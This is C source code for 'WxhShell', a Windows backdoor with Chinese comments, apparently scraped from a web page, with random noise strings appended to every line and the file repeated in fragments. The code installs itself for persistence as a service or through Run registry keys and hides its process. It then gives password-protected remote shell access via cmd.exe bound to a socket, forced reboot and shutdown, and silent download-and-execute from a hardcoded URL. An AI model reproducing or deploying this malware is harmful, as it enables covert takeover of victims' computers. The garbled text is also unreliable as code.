    } S!!\!w>N  
    break; W (c\$2`  
    } ts\>_/  
  // 关机 S,9WMti4x  
  case 'd': { 14YV#o:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -x\l<\*  
    if(Boot(SHUTDOWN)) [*ovYpj^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V//q$/&8(  
    else { d?y\~<  
    closesocket(wsh); d#:J\2V"R  
    ExitThread(0); SWO!E  
    } Afhx`J1KO  
    break; yx;R#8;b.  
    } UkbQ'P+oS  
  // 获取shell R/cq00g  
  case 's': { Jd2Y)  
    CmdShell(wsh); 5 ^J8<s@_  
    closesocket(wsh); UuC"-$:  
    ExitThread(0); {!Z_&i5  
    break; K}3"KC  
  } '"\Mjz)/  
  // 退出 !,!tNs1 K  
  case 'x': { by<@Zwtf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .LcE^y[V  
    CloseIt(wsh); '<D}5u7 2  
    break; 78~V/L;@S2  
    } 'p+QFT>Ca  
  // 离开 ;p!hd }C  
  case 'q': { 9QZwUQ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &0Zk3D4  
    closesocket(wsh); ^K8a#-  
    WSACleanup(); N_[ Q.HD"  
    exit(1); w/W?/1P>q  
    break; ~EkGG .  
        } 9+Bq00-Z$  
  } Prx s2 i 8  
  } H>X1(sh#}  
7t Kft  
  // 提示信息 sZBO_](S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g}r5ohqC#  
} 3^yWpSC  
  } G6mM6(Sr  
2MzFSmhc"  
  return; PH!B /D5G  
} G/44gKl  
rB|:r\Z(jG  
// shell模块句柄 -+@~*$ d  
int CmdShell(SOCKET sock) Awf = yE:  
{ ms<uYLp  
STARTUPINFO si; |RXC;zt9s  
ZeroMemory(&si,sizeof(si)); l^?A8jG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >Mw =}g@P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #f;1f8yrN  
PROCESS_INFORMATION ProcessInfo; > BCX%<&  
char cmdline[]="cmd"; Dohe(\C@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); W%Q>< 'c  
  return 0; >Nl~"J|]q  
} 0MGK3o)  
O[B_7  
// 自身启动模式 eG>Fn6G<g  
int StartFromService(void) IVODR  
{ Cs=i9.-A  
typedef struct =C1Qo#QQ%  
{ jN>UW}?  
  DWORD ExitStatus; Y,}43a0A  
  DWORD PebBaseAddress; J uKaRR~  
  DWORD AffinityMask; D|3QLG  
  DWORD BasePriority; CGl+!t{  
  ULONG UniqueProcessId; irj}:f;!eF  
  ULONG InheritedFromUniqueProcessId; |ema-pRC  
}   PROCESS_BASIC_INFORMATION; Vzm7xl [  
ZaindX{.1  
PROCNTQSIP NtQueryInformationProcess; G)|HFcE  
jF85bb$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5z]KkPQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |noTIAI  
oD1=}  
  HANDLE             hProcess; HOb\Hn|6jq  
  PROCESS_BASIC_INFORMATION pbi; Z i&X ,K~  
3PeJPw  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |]b/5s;>  
  if(NULL == hInst ) return 0; 8so}^2hTlT  
_Fy:3,(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); PP|xIAc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $& gidz/w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w`f~Ht{wYR  
!&%bl  
  if (!NtQueryInformationProcess) return 0; o!0a8i  
NH6!|T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Kx!|4ya,  
  if(!hProcess) return 0; scwlW b<N  
s_kd@?=`x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !gQ(1u|r  
5X|aa>/  
  CloseHandle(hProcess); |<icx8hbr  
vtjG&0GSK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,kuOaaV7K  
if(hProcess==NULL) return 0; (XWs4R.mkb  
sOenR6J<$  
HMODULE hMod; :PkSX*E[q  
char procName[255]; T5G+^XDA  
unsigned long cbNeeded; m':m`,c!  
-8e tH&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ueo3i1  
"+Rm4_  
  CloseHandle(hProcess); h8;"B   
Mt0|`=64  
if(strstr(procName,"services")) return 1; // 以服务启动 mz '8  
n&&y\?n  
  return 0; // 注册表启动 g;@PEZk1  
} 3qZ{yr2N[  
Np_6ZUaqz  
// 主模块 obGSc)?j  
int StartWxhshell(LPSTR lpCmdLine) cn{l %6K  
{ Gl9a5b  
  SOCKET wsl; "$9ZkADO  
BOOL val=TRUE; .<hv &t  
  int port=0; xSZw,  
  struct sockaddr_in door; d^>se'ya  
1N*~\rV*?  
  if(wscfg.ws_autoins) Install(); |V]E8Qt  
qpCi61lTDJ  
port=atoi(lpCmdLine); /2I("x]  
$R4\jIew V  
if(port<=0) port=wscfg.ws_port; ST.W{:X   
>48Y-w  
  WSADATA data; ><^@1z.J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n_hD  
vkLG<Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   UzXbaQQ2g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >dY"B$A>  
  door.sin_family = AF_INET; y0^FTSQ|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~46ed3eGzi  
  door.sin_port = htons(port); HN%ZN}  
k5M(Ve  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "m5ZZG#R`  
closesocket(wsl); e{/\znBS%  
return 1; Joj8'  
} *z~Y*Q0  
p6*D^-  
  if(listen(wsl,2) == INVALID_SOCKET) { l71\II  
closesocket(wsl); >[U$n.  
return 1;  t&]IgF  
} ~ME=!;<_  
  Wxhshell(wsl); NeP1 #  
  WSACleanup(); T@.CwV  
u@Lu.t!],  
return 0; @hv] [(<  
- Zh+5;8g  
} f5v|}gMAX  
*']RYu?X  
// 以NT服务方式启动 @ck2j3J/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6dp~19T^  
{ LV0{~g(!%  
DWORD   status = 0; *lSIT]1  
  DWORD   specificError = 0xfffffff; Ws(>} qjy  
),eiJblH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b04~z&Xv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &ReIe>L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ub%q<sE*  
  serviceStatus.dwWin32ExitCode     = 0; }sZ]SE  
  serviceStatus.dwServiceSpecificExitCode = 0; M DpXth7  
  serviceStatus.dwCheckPoint       = 0; "%Ak[04'  
  serviceStatus.dwWaitHint       = 0;  %JZIg!  
1C{~!=6#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~ +Y;jA dU  
  if (hServiceStatusHandle==0) return; 0=iJT4IEJ  
1/HZY0em  
status = GetLastError(); vL7}0n>tz  
  if (status!=NO_ERROR) f!yxS?j3  
{ !p2&$s"N.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n 8Fi?/  
    serviceStatus.dwCheckPoint       = 0; Jor?;qo3  
    serviceStatus.dwWaitHint       = 0; STMcMm3  
    serviceStatus.dwWin32ExitCode     = status; %lxo?s@GE  
    serviceStatus.dwServiceSpecificExitCode = specificError; ZO~N|s6B^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {*m?t 7  
    return; K+Qg=vGY  
  } d?>sy\{2  
4ET P  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =Ev } v  
  serviceStatus.dwCheckPoint       = 0; q b'ka+X  
  serviceStatus.dwWaitHint       = 0; &uM?DQ`o8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dxA=gL2  
} k&2I(2S  
%K%z<R8  
// 处理NT服务事件,比如:启动、停止 c-,/qn/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T-MLW=Vu  
{ $8Zw<aEJ  
switch(fdwControl) cX2b:  
{ @ 9uwcM1F  
case SERVICE_CONTROL_STOP: 8PQ& 7o  
  serviceStatus.dwWin32ExitCode = 0; ``={FaV~m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; laAG%lq/'  
  serviceStatus.dwCheckPoint   = 0; )}R0'QGd  
  serviceStatus.dwWaitHint     = 0; 6Yklaq5  
  { wo/H:3^N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `is6\RH  
  } !tVV +vT#  
  return; i^8Zp;O"f  
case SERVICE_CONTROL_PAUSE: 4-o$OI>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @!-= :<h  
  break; k~H-:@  
case SERVICE_CONTROL_CONTINUE: /{lls2ycW%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]ba<4:[Go  
  break; _Nd\Cm  
case SERVICE_CONTROL_INTERROGATE: 7 9Iz,_  
  break; Eb*DP_  
}; R_lNC]b0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -V\33cA  
} eI@O9<.&  
c;Li~FLR  
// 标准应用程序主函数 5d)G30  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (Az^st/_  
{ K3jno+U&  
=I?p(MqW  
// 获取操作系统版本 tqHXzmsjW  
OsIsNt=GetOsVer(); 9 i"3R0HN  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >0>M@s  
-n6C~Yx  
  // 从命令行安装 :Qf^@TS}O  
  if(strpbrk(lpCmdLine,"iI")) Install(); -Iq#h)Q*  
twJck~l~n  
  // 下载执行文件 Ys\l[$_`*  
if(wscfg.ws_downexe) { ,[A} 86  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JO _a+Yl  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5~qr+la  
} `/"z.~8  
$T1c{T6n}  
if(!OsIsNt) { #pf}q+A  
// 如果时win9x,隐藏进程并且设置为注册表启动 hM;EUWv  
HideProc(); UZ y  
StartWxhshell(lpCmdLine); NoMEe<  
} S"lcePN  
else f6DPah#  
  if(StartFromService()) 8gZ5D  
  // 以服务方式启动  W?.Y%wc0  
  StartServiceCtrlDispatcher(DispatchTable); }JI5,d  
else LnBkd:>}  
  // 普通方式启动 4kx#=MLt  
  StartWxhshell(lpCmdLine); qoEOM%dAqV  
(A1!)c  
return 0; }ts?ZR^V,  
} 7UMsKE-  
e Q0bx&  
?L_#AdK  
*FO']D  
=========================================== &4 ]%&mX)-  
*G=n${'  
#x'C  
*rA!`e*  
sO6+L #!  
4p F%G  
" }=wSfr9g  
iXBc ~S  
#include <stdio.h> O^LzS&I*  
#include <string.h> 'A4Lr  
#include <windows.h> r&^4L  
#include <winsock2.h> ~=}56yxl[  
#include <winsvc.h> '?#e$<uS-  
#include <urlmon.h> 2f4*r^  
>b/Yg:t  
#pragma comment (lib, "Ws2_32.lib") !]W6i]p  
#pragma comment (lib, "urlmon.lib") Hd4&"oeY  
55hJRm3  
#define MAX_USER   100 // 最大客户端连接数 [j&>dE  
#define BUF_SOCK   200 // sock buffer U,)+wZJ  
#define KEY_BUFF   255 // 输入 buffer Dtn|$g,  
+&JF|#FQ`  
#define REBOOT     0   // 重启 !DLIIKO78  
#define SHUTDOWN   1   // 关机 -O oXb( I4  
$+$+;1[  
#define DEF_PORT   5000 // 监听端口 y9:|}Vh  
e=YvM g  
#define REG_LEN     16   // 注册表键长度 N-lXC"{)  
#define SVC_LEN     80   // NT服务名长度 xJ,V !N  
{<&x9<f9  
// 从dll定义API T?Gi;ld7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U%2pbGU  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^M8\ 3G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Jzh_`jW0l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 89~)nV)  
KWM.b"WnXr  
// wxhshell配置信息 nJrV  
struct WSCFG { bD=_44I  
  int ws_port;         // 监听端口 QRx'BY$5  
  char ws_passstr[REG_LEN]; // 口令 I/fERnHM/+  
  int ws_autoins;       // 安装标记, 1=yes 0=no <` HLG2  
  char ws_regname[REG_LEN]; // 注册表键名 'j>Q7M7q{  
  char ws_svcname[REG_LEN]; // 服务名 )0!hw|0|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _bFX(~37z?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S__+S7]Nr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 XYf;72*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?f:FmgQk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _^Rf*G!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vfmKYiLp  
E+csK*A7  
}; . [*6W.X  
ASPfzW2  
// default Wxhshell configuration pZF`+6 42  
struct WSCFG wscfg={DEF_PORT, lZ'NL bK  
    "xuhuanlingzhe", ,f4Hl%T;  
    1, e>X&[\T  
    "Wxhshell", o)srE5  
    "Wxhshell", D L<r2h  
            "WxhShell Service", 4,UvTw*2z  
    "Wrsky Windows CmdShell Service", Bz]j&`  
    "Please Input Your Password: ", k(!#^Mlz[  
  1, yn"8Ma*  
  "http://www.wrsky.com/wxhshell.exe", eCdMDSFO3  
  "Wxhshell.exe" enE8T3   
    }; /id(atiF^  
6imDA]5N&  
// 消息定义模块 ]#KZ W)M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ez+.tbEA,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; XoL9:s(m~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;}WdxWw4  
char *msg_ws_ext="\n\rExit."; V]<J^m8  
char *msg_ws_end="\n\rQuit."; @<r  ;>G  
char *msg_ws_boot="\n\rReboot..."; L:j;;9Sp{  
char *msg_ws_poff="\n\rShutdown..."; Cz8=G;\  
char *msg_ws_down="\n\rSave to "; AI/xOd!a  
9Iy>oV  
char *msg_ws_err="\n\rErr!"; h{qB\aK  
char *msg_ws_ok="\n\rOK!"; l '<gkwX  
@'jC>BS8`  
char ExeFile[MAX_PATH]; !Zlvz%X  
int nUser = 0; ;y Wfb|!  
HANDLE handles[MAX_USER]; ){ArZjG>  
int OsIsNt; [$ vAjP  
ESL(Mf'  
SERVICE_STATUS       serviceStatus;  UcKpid  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I~gU3(  
7J.alV4`/  
// 函数声明 vSX71  
int Install(void); Sc`W'q^X  
int Uninstall(void); Si.3Je[q  
int DownloadFile(char *sURL, SOCKET wsh); d>VerZZU  
int Boot(int flag); rq:R6e  
void HideProc(void); /2tgxm$}  
int GetOsVer(void); ;gP@d`s  
int Wxhshell(SOCKET wsl); XN'x`%!*3#  
void TalkWithClient(void *cs); 9YwK1[G6/  
int CmdShell(SOCKET sock); s: ~3|D][  
int StartFromService(void); #0zMPh /U}  
int StartWxhshell(LPSTR lpCmdLine); ej4xW~_  
3 T+#d-\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /:~mRf^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _r^Cu.[7  
8%@7G*  
// 数据结构和表定义 ZEiW\ V  
SERVICE_TABLE_ENTRY DispatchTable[] = S8TJnv`?'  
{ ]9pK^<  
{wscfg.ws_svcname, NTServiceMain}, $2~I-[  
{NULL, NULL} f4@>7K]9TA  
}; =TE6R 0b  
/n"Ib )M  
// 自我安装 b<u   
int Install(void) VK5|w:  
{ 9|jk=`4UK  
  char svExeFile[MAX_PATH]; :U$<h  
  HKEY key; Lp`q[Z*  
  strcpy(svExeFile,ExeFile); Tky\W%Ag  
/\q1,}M  
// 如果是win9x系统,修改注册表设为自启动 |kB1>$  
if(!OsIsNt) { }uz*6Z(S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0Rz'#O32V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }lvD 5  
  RegCloseKey(key); G];5'd~C;d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1O"7%Pvw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dj3}Tjt  
  RegCloseKey(key); _3i.o$GO  
  return 0; U ]Ek 5p  
    } eZ'J,;  
  } s,!+wHv_8  
} ?ey!wcv~  
else { ]>M{Q n*  
tsaf|xe  
// 如果是NT以上系统,安装为系统服务 ^rO3B?_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0p YO-@E  
if (schSCManager!=0) 2m7Z:b  
{ |gxT-ZM  
  SC_HANDLE schService = CreateService Yw&{.<sL  
  ( ,HO~NqmB4  
  schSCManager, ;nW#Dn9  
  wscfg.ws_svcname, 7O84R^!|2  
  wscfg.ws_svcdisp, Q ;V `  
  SERVICE_ALL_ACCESS, $d? N("L  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Hpo7diBE  
  SERVICE_AUTO_START, $k5mI1~  
  SERVICE_ERROR_NORMAL, ZJlmHlAX  
  svExeFile, }d?"i@[  
  NULL, yhhW4rz  
  NULL, =B-a]?lM  
  NULL, yqi=9NB  
  NULL, 3\j{*f$J  
  NULL k GR5!8$z  
  ); >|1.Z'r/  
  if (schService!=0) 0.7* 2s-  
  { 0n` 1GU)W  
  CloseServiceHandle(schService); )GhMM  
  CloseServiceHandle(schSCManager); nG hFYQl  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); " lar~  
  strcat(svExeFile,wscfg.ws_svcname); 1#9qP~#]'{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kq xX!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4Y2l]86  
  RegCloseKey(key); -L<''2t  
  return 0; NZ`Mq  
    } XMzL\Edo  
  } Z\Qa6f!  
  CloseServiceHandle(schSCManager); %P05k  
} 6P@3UQ)}s  
} 8#b>4 Dx  
5:ca6 H  
return 1; t 1gH9  
} Hry*.s -  
9,g &EnvG  
// 自我卸载 ~`-z"zM:p  
int Uninstall(void) =23JE'^=  
{ T"ors]eI  
  HKEY key; _o'_ z ]  
2O}UVp>  
if(!OsIsNt) { =I. b2e 1z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yv2BbrYyy  
  RegDeleteValue(key,wscfg.ws_regname); c@iP^;D  
  RegCloseKey(key); 29#&q`J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iX ;E"ov]  
  RegDeleteValue(key,wscfg.ws_regname); 5R 6@A?vr  
  RegCloseKey(key); Hp`Mp)1s  
  return 0; DY]\@<ez  
  } Gc6`]7 s  
} eF)vx{s  
} DSiI%_[Ud  
else { t<'-?B2g  
^@V$'Bk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &d/v/Y  
if (schSCManager!=0) _c| aRRW  
{ "7Qc:<ww  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0{u31#0j  
  if (schService!=0) tu(k"'aJ  
  { 4'L%Wz[6  
  if(DeleteService(schService)!=0) {  J`F][ A  
  CloseServiceHandle(schService); O%:EPdoU  
  CloseServiceHandle(schSCManager); 1~X~"M  
  return 0; )<W6cDx'H+  
  } F=}-ngx8&  
  CloseServiceHandle(schService); h|z{ (v  
  } CYlZ<W'  
  CloseServiceHandle(schSCManager); GMLDmTV  
} Mx& P^#B3  
} GS1Vcav<  
Q 5R7se_  
return 1; nFE0y3GD8  
} Sw!/ I PO  
hN% h.;s  
// 从指定url下载文件 bqB gq  
int DownloadFile(char *sURL, SOCKET wsh) 4E&= qC]S  
{ jTjGbC]X  
  HRESULT hr; TM_ MJp  
char seps[]= "/"; -.#He  
char *token; ("HT0 &#a  
char *file; 9H ~{2Un  
char myURL[MAX_PATH]; )dFTH?Mpo  
char myFILE[MAX_PATH]; };m.Y>=)K  
jU K0?S>  
strcpy(myURL,sURL); 6wV{}K^0  
  token=strtok(myURL,seps); 3)SO-Bz\  
  while(token!=NULL) JStT"*4j  
  { X8U._/'N  
    file=token; ?<@yo&)  
  token=strtok(NULL,seps); bY6y)l  
  } 5~WMb6/  
Q{9#Am^6w  
GetCurrentDirectory(MAX_PATH,myFILE); S].=gR0:  
strcat(myFILE, "\\"); oe1Dm   
strcat(myFILE, file); !wl3}]q  
  send(wsh,myFILE,strlen(myFILE),0); (bP\_F5D  
send(wsh,"...",3,0); e%#8]$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q<]~>cd^  
  if(hr==S_OK) n~/#~VTVe  
return 0; @WuB&uF=d  
else CfFNk "0{  
return 1; G[V?# 7.  
\qPgQsy4  
} S&BJR!FQ  
S9Kay'.aJ(  
// 系统电源模块 UnjUA!v  
int Boot(int flag) | ?Js)i  
{ (^h47kY  
  HANDLE hToken; B@w Q [  
  TOKEN_PRIVILEGES tkp; ;D5B$ @W>  
J('p'SlI  
  if(OsIsNt) { muSQFIvt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R!7emc0T  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wg?:jK  
    tkp.PrivilegeCount = 1; V+A1O k )  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A]nDI:pO|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); , O=@I  
if(flag==REBOOT) { L@rKG~{Xy  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) aO@zeKg  
  return 0; |0Kj0u8T  
} z_XI,u}  
else { !/0XoIf"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .^s%Nh2jM  
  return 0; yQQ[_1$pq  
}  5" U8|  
  } ^0t81,`  
  else { E.Hw|y0_(|  
if(flag==REBOOT) { Q}!U4!{i|p  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -Kt36:|  
  return 0; +nKxSjqI  
} A{hwT,zV:  
else { Gq5)>'D?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >M7e'}0 ;  
  return 0; hk"^3d!  
} &Vi"m!Bf  
} MS Ui_|7  
ZgO7W]Z4  
return 1; -0| '{  
} 8;3T65KY  
7M: 0%n$  
// win9x进程隐藏模块 \$J!B&i  
void HideProc(void) VHsNz WI  
{ bHcb.;<  
AR\1w'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;(3fr0cr:  
  if ( hKernel != NULL ) >gDsjHQ6;  
  { _nRY5YnL4P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /Ny/%[cu  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >u5}5OP7  
    FreeLibrary(hKernel); 6.tppAO+  
  } 6 USet`#  
BzH7E[R49  
return; 9s)YPlDz  
} UC*<]  
2vKnxK+ 5  
// 获取操作系统版本 D@H'8C\  
int GetOsVer(void) Y=/3_[G   
{ FK!9to>  
  OSVERSIONINFO winfo; NXDV3MH=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %V;k/w~[  
  GetVersionEx(&winfo); &..![,)w^!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z$p +l]  
  return 1; =Fea vyx  
  else nM8aC&Rd\  
  return 0; Zl"h-~31  
} Pp N+q:(  
WT(R =bLw  
// 客户端句柄模块 ox {Cm  
int Wxhshell(SOCKET wsl) O*oL(dk*8L  
{ &eY$(o-Hw  
  SOCKET wsh; =_cWCl^5  
  struct sockaddr_in client; Pw /wAUt  
  DWORD myID; iZ[o2Tre  
FQi"OZHq  
  while(nUser<MAX_USER) RCNqHYR  
{ V&KH{j/P  
  int nSize=sizeof(client); xPqpNs-,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z<y +D-/  
  if(wsh==INVALID_SOCKET) return 1; ?MeP<5\A  
K1z"..(2J  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zE.4e&m%Z?  
if(handles[nUser]==0) fx.FHhVu  
  closesocket(wsh); UeE& 8{=d  
else T4Z("  
  nUser++; 7K9+7I&C  
  } ~PuPY:"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4E3HYZ  
A'|W0|R9  
  return 0; :KX/GN!n  
} I?-9%4 8iM  
Ltcr]T(Ic  
// 关闭 socket C bG"8F|4  
void CloseIt(SOCKET wsh)  [.z1  
{ #f/-iu=L  
closesocket(wsh); aqs']  
nUser--; x#dJH9NR[  
ExitThread(0); @R}L 4  
} Q+G=f  
7"4|`y^#  
// 客户端请求句柄 iO#H_&L.p  
void TalkWithClient(void *cs) "_'9KBd!  
{ @oYq.baHX  
>E"FoZM=  
  SOCKET wsh=(SOCKET)cs; |#5JI #,vX  
  char pwd[SVC_LEN]; ]2zx}D4f  
  char cmd[KEY_BUFF]; v}[KVwse  
char chr[1]; xNxIqq<k  
int i,j; %X GX(  
7F?^gMi  
  while (nUser < MAX_USER) { ; @Gm@d  
&$hfAG]"  
if(wscfg.ws_passstr) { :CHCVoh@95  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XNu2G19jb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KU33P>a"[k  
  //ZeroMemory(pwd,KEY_BUFF); R52q6y:<x  
      i=0; r(vk2Qy  
  while(i<SVC_LEN) { |hp_X>Uv'  
O";r\Z  
  // 设置超时 j- F=5)A  
  fd_set FdRead; s3kh (N  
  struct timeval TimeOut; 0?,EteR  
  FD_ZERO(&FdRead); `34[w=Zm  
  FD_SET(wsh,&FdRead); W,Dr2$V  
  TimeOut.tv_sec=8; i8HSYA  
  TimeOut.tv_usec=0; z=)5M*h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "P<~bw5   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &B3\;|\  
, {z$M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >wcsJ {I  
  pwd=chr[0]; k~=-o>}C  
  if(chr[0]==0xd || chr[0]==0xa) { |BYD]vK  
  pwd=0; SCxzT}#J  
  break; <;9 vwSH>  
  } b@,=;Y)O  
  i++; ,b{G(sF  
    } RSmxwx^  
MiOSSl};  
  // 如果是非法用户,关闭 socket zi*D8!_C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e4CG=K3s  
} %_tL}m{?  
r="X\ [on  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5+3Z?|b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?wwY8e?S  
RFA5vCG  
while(1) { k_}ICKzw1  
zO)9(%LS  
  ZeroMemory(cmd,KEY_BUFF); PVEEKKJP]J  
O gHWmb  
      // 自动支持客户端 telnet标准   d\Dxmb]o  
  j=0; {8I93]  
  while(j<KEY_BUFF) { 2?-}(F;Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8CEy#%7]}  
  cmd[j]=chr[0]; A ;kAAM  
  if(chr[0]==0xa || chr[0]==0xd) { )_bXKYUX*0  
  cmd[j]=0; ;e jC:3yO  
  break; ZTS*E,U%  
  } Ti' GSL  
  j++; :l9C7o  
    } yY_]YeeR  
=~aJ]T}(  
  // 下载文件 ? # G_ &  
  if(strstr(cmd,"http://")) { cVulJ6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^O892-R  
